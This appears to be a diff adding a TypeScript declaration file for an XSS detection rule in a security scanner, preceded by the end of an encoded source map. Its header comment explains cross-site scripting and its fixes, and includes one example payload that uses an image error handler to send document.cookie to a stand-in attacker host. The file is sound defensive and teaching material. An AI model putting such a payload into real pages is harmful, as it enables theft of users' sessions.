QACjE,IAAI,iBAAiB,CAAC,QAAQ,CAAC,CAAC,QAAQ,CAAC,IAAI,CAAC,UAAU,CAAC,EAAE,CAAC;YAC1D,sEAAsE;YACtE,IAAI,cAAc,CAAC,IAAI,CAAC,IAAI,CAAC,YAAY,CAAC,EAAE,CAAC;gBAC3C,OAAO,MAAM,CACX,IAAI,CAAC,YAAY,EACjB,KAAK,IAAI,CAAC,UAAU,uBAAuB,IAAI,CAAC,YAAY,WAAW,CACxE,CAAC;YACJ,CAAC;YACD,IAAI,eAAe,CAAC,IAAI,CAAC,IAAI,CAAC,UAAU,CAAC,EAAE,CAAC;gBAC1C,IAAI,sBAAsB;oBAAE,OAAO,QAAQ,CAAC,IAAI,CAAC,UAAU,CAAC,CAAC;gBAC7D,OAAO,MAAM,CAAC,IAAI,CAAC,UAAU,EAAE,KAAK,IAAI,CAAC,UAAU,oCAAoC,CAAC,CAAC;YAC3F,CAAC;YACD,+BAA+B;YAC/B,MAAM,QAAQ,GAAG,IAAI,CAAC,UAAU,CAAC,OAAO,CAAC,uBAAuB,EAAE,EAAE,CAAC,CAAC;YACtE,IAAI,eAAe,CAAC,IAAI,CAAC,QAAQ,CAAC,EAAE,CAAC;gBACnC,OAAO,MAAM,CAAC,QAAQ,EAAE,KAAK,IAAI,CAAC,UAAU,oCAAoC,CAAC,CAAC;YACpF,CAAC;QACH,CAAC;QAED,OAAO,IAAI,CAAC;IACd,CAAC;CACF,CAAC"}
@@ -0,0 +1,38 @@
1
+ /**
2
+ * CROSS-SITE SCRIPTING - XSS (CWE-79, OWASP A05:2025 - Injection)
3
+ *
4
+ * WHAT THE BUG IS, in plain language:
5
+ * A browser reads HTML as instructions. `<script>` doesn't display the word
6
+ * "script" - it runs code. So if your page inserts user-supplied text into HTML
7
+ * without escaping it, the user can supply `<script>...</script>` and their code
8
+ * runs inside YOUR page, with your user's session, cookies and permissions.
9
+ *
10
+ * element.innerHTML = "Welcome " + userName;
11
+ *
12
+ * If `userName` is `<img src=x onerror=fetch('//evil/'+document.cookie)>`, the
13
+ * browser dutifully loads a broken image, fires the error handler, and posts
14
+ * the victim's session cookie to the attacker. The user never clicked anything.
15
+ *
16
+ * WHY IT'S CALLED "CROSS-SITE": the attacker's code runs on your site's origin,
17
+ * so the browser trusts it exactly as much as it trusts you. Same-origin policy
18
+ * - the rule that stops evil.com reading your bank tab - is on the attacker's
19
+ * side now.
20
+ *
21
+ * THE FIX:
22
+ * - Use the text API, not the HTML API: `textContent` instead of `innerHTML`.
23
+ * `textContent` never parses tags; `<script>` becomes visible characters.
24
+ * - When you genuinely need HTML, escape it (< becomes &lt;) or run it through
25
+ * a sanitiser like DOMPurify that removes scripts and event handlers.
26
+ * - Template engines that auto-escape (React JSX, Jinja2, Go html/template)
27
+ * do this for you - which is exactly why the "escape hatches" in those
28
+ * libraries (dangerouslySetInnerHTML, |safe, template.HTML) are the places
29
+ * this rule watches.
30
+ *
31
+ * ESCAPING vs SANITISING (they are different, and people mix them up):
32
+ * ESCAPING turns markup into visible text - safest, use it by default.
33
+ * SANITISING keeps the markup but strips the dangerous parts - only when the
34
+ * user is genuinely allowed to send HTML, and only with a real library.
35
+ */
36
+ import { type Rule } from './contract.js';
37
+ export declare function looksLikeAnEscaperCall(text: string): boolean;
38
+ export declare const xssRule: Rule;